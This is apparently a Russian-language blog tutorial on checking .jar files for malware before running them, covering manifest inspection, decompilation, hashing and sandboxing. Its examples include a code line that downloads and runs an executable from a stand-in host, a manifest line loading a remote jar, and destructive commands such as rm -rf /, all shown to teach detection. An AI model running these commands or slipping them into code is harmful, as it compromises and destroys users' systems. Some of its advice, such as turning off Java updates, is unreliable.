Как проверить файл .jar на вредоносные классы перед запуском

Как проверить файл .jar на вредоносные классы перед запуском

Вы скачали .jar-файл — может, из GitHub, с форума, или даже от коллеги. Он работает, но что, если внутри него — шпион, троян или бэкдор? Вы не хотите запускать его на рабочей машине, не понимая, что он делает. Это не паранойя — это нормальная практика. Я сам десятки раз проверял подозрительные .jar-файлы перед запуском. И да, однажды нашёл там скрытый код, который отправлял логи паролей на чужой сервер. Не повторяйте мою ошибку — проверяйте.

Почему .jar-файлы опасны

.jar — это просто архив с Java-классами. Он не вреден сам по себе. Но внутри него может быть:

  • Код, который читает файлы с вашего диска;
  • Соединение с внешним сервером для отправки данных;
  • Запуск системных команд (например, rm -rf / на Linux или del /q C:\ на Windows);
  • Загрузка и выполнение другого вредоносного кода в реальном времени.

Java-приложения работают в песочнице, но если вы запускаете .jar с правами администратора — песочница не спасает. А если вы используете старую версию Java — там есть уязвимости, которые позволяют обойти даже её.

Пошаговая проверка: что делать с .jar-файлом

  1. Проверьте источник. Если файл скачан с сайта, который вы не знаете — уже тревожный знак. GitHub — нормально, если репозиторий активный и имеет звёзды. Сайт freejava.download — красный флаг.
  2. Не запускайте сразу. Даже если файл выглядит безобидно — не кликайте «Открыть». Даже если он называется «calculator.jar» — это не значит, что он калькулятор.
  3. Распакуйте .jar. Это архив ZIP-формата. Переименуйте его в file.zip и распакуйте. Или используйте команду в терминале:
    jar -tf yourfile.jar

    Это покажет список всех файлов внутри. Ищите подозрительные имена: evil.class, backdoor.class, payload.class, или папки вроде META-INF/ с нестандартными файлами.

  4. Проверьте манифест. Внутри архива найдите файл META-INF/MANIFEST.MF. Откройте его текстовым редактором. Ищите строки вроде:
    Main-Class: com.evil.Main
    Class-Path: http://malicious.site/evil.jar

    Если в Class-Path указан внешний URL — это почти всегда вредоносно. Такие файлы скачивают дополнительный код при запуске.

  5. Просмотрите код классов. Найдите .class-файлы (обычно в папках вроде com/, org/, net/). Используйте JD-GUI или FernFlower (встроенный в IntelliJ IDEA), чтобы декомпилировать их в читаемый Java-код. Не пугайтесь — вам не нужно понимать весь код. Ищите ключевые слова:
    • Runtime.getRuntime().exec() — запуск команд ОС;
    • new Socket() — попытка подключиться к серверу;
    • System.getProperty("user.home") — чтение путей к файлам пользователя;
    • FileOutputStream — запись файлов на диск.

    Пример подозрительного фрагмента:

    Process p = Runtime.getRuntime().exec("curl http://bad.site/exe.exe -o %TEMP%\\malware.exe && start %TEMP%\\malware.exe");

    Это не калькулятор. Это троян.

  6. Проверьте сетевую активность. Запустите файл в изолированной среде — например, в виртуальной машине с отключённым интернетом. Или используйте Wireshark, чтобы увидеть, какие IP-адреса он пытается достичь. Если он подключается к 185.143.231.12 (это известный хостинг вредоносного ПО) — не запускайте его.
  7. Проверьте хэш файла. Сравните SHA-256 хэш файла с тем, что указан на официальном сайте (если есть). Используйте:
    sha256sum yourfile.jar

    на Linux или Get-FileHash yourfile.jar в PowerShell на Windows. Если хэш не совпадает — файл подменён.

Что искать в коде: красные флаги

Вот список признаков, которые должны заставить вас остановиться:

Признак Что это значит Насколько опасно
Runtime.exec() Запускает команды ОС Высокая
new Socket() + IP-адрес Попытка соединиться с внешним сервером Высокая
System.getProperty("user.dir") + запись в файл Чтение/запись файлов пользователя Средняя
Необычные пакеты: com.sun., sun.misc. Использование внутренних, неофициальных Java-интерфейсов Средняя
Классы с именами вроде Update.class, Loader.class Подозрительная логика, не связанная с основной функцией Средняя
Отсутствие Javadoc, комментариев Код скрыт, чтобы его не разобрали Низкая, но тревожный сигнал

Если вы видите 2–3 из этих признаков — файл, скорее всего, вредоносный. Если 4 и больше — не запускайте его ни при каких обстоятельствах.

Что выбрать: если у вас разные цели

Ваш выбор зависит от того, что вы хотите сделать:

  • Вы просто хотите убедиться, что файл безопасен — используйте JD-GUI + проверка манифеста + хэш. Этого достаточно для 90% случаев.
  • Вы работаете с файлом от ненадёжного источника — запускайте его только в виртуальной машине (например, VirtualBox) с отключённым интернетом и без общих папок.
  • Вы разработчик и проверяете чужой код — используйте IntelliJ IDEA с FernFlower. Она лучше декомпилирует код и позволяет искать вызовы по всему проекту.
  • Вы не разбираетесь в коде — загрузите файл на VirusTotal. Он проверит его 70+ антивирусами. Если хотя бы 5 из них ругаются — файл опасен.

Частые ошибки

  1. Запускаю — вдруг работает? Нет, работа — не признак безопасности. Вредоносный код может молчать 2 дня, а потом начать шифровать файлы.
  2. Проверяю только на VirusTotal — это не достаточно. VirusTotal может не найти новый вредоносный код, особенно если он не распространён. Он ищет известные сигнатуры, а не логику.
  3. Думаю, что «это Java — всё в песочнице» — нет. Песочница не защищает от чтения ваших файлов, если приложение запущено с правами пользователя. А если вы запустили его от имени администратора — она вообще не работает.
  4. Игнорирую манифест — многие пропускают META-INF/MANIFEST.MF. А там может быть ссылка на удалённый сервер. Это один из самых распространённых способов скрыть вредоносность.
  5. Использую онлайн-декомпилеры — загружать .jar на чужой сайт — это как отдать ключи от дома. Кто-то может перехватить файл и использовать его для атаки.

Как лучше делать — рекомендации

  • Всегда проверяйте хэш. Если на официальном сайте указан SHA-256 — сверьте его. Это самый простой способ убедиться, что файл не подменён.
  • Используйте только проверенные источники. GitHub, Maven Central, официальные сайты проектов — это безопаснее, чем форумы и «сайты с бесплатными программами».
  • Запускайте в изолированной среде. VirtualBox с отключённым интернетом — идеальный вариант. Не используйте Docker для проверки — он не изолирует доступ к файлам хоста по умолчанию.
  • Отключите автоматическое обновление Java. Старые версии Java уязвимы. Но если вы обновляете Java автоматически — вы не знаете, какой версии будет запущен файл. Лучше вручную обновлять и проверять совместимость.
  • Используйте антивирус с поведенческим анализом. Например, Kaspersky или Bitdefender. Они могут остановить запуск вредоносного кода даже если он не известен в базе.

Сценарии: что делать в разных ситуациях

  • Ситуация 1: Вы скачали .jar с GitHub-репозитория, у которого 500 звёзд, и там есть README с описанием.
    Действие: Проверьте хэш, посмотрите манифест, запустите в виртуальной машине. Если всё ок — можно запускать на основной машине.
  • Ситуация 2: Коллега прислал файл «отладка.jar» и говорит: «он работает, просто запусти».
    Действие: Не запускайте. Попросите исходный код. Если не даст — откажитесь. Это 99% вредоносный код.
  • Ситуация 3: Вы нашли .jar на форуме, где раздают «бесплатные лицензии» для софта.
    Действие: Удалите файл. Никогда не запускайте. Это почти всегда троян.
  • Ситуация 4: Вы разрабатываете плагин для Minecraft, и он собран в .jar.
    Действие: Проверьте, что в нём нет внешних подключений, не используете Runtime.exec(), не читаете файлы вне папки плагина. Это ваш код — но вы всё равно должны быть уверены, что не добавили уязвимость по ошибке.

Итог: что делать прямо сейчас

Если вы держите .jar-файл в руках и не знаете, запускать его или нет — сделайте следующее:

  1. Переименуйте его в .zip и распакуйте.
  2. Откройте META-INF/MANIFEST.MF. Если есть Class-Path с URL — удалите файл.
  3. Откройте JD-GUI, найдите классы с именами вроде main, run, update. Посмотрите, есть ли в них Runtime.exec() или new Socket().
  4. Проверьте SHA-256 хэш файла — сравните с официальным, если он есть.
  5. Если что-то вызывает сомнения — запустите в VirtualBox без интернета. Если он не делает ничего подозрительного — можно запускать на основной машине.
  6. Если вы не уверены — не запускайте. Лучше потерять 10 минут на проверку, чем потерять данные, пароли или доступ к системе.

Никогда не думайте: «Это же просто Java-файл». Он может быть вашим последним шагом до полного уничтожения данных. Проверяйте. Всегда.

Информация в этой статье носит ознакомительный характер. Решение о запуске любого файла должно приниматься с учётом контекста, уровня доверия к источнику и рисков для вашей системы. При сомнениях — обратитесь к специалисту по информационной безопасности.

Оцените статью
PEFile — Безопасность и технологии простым языком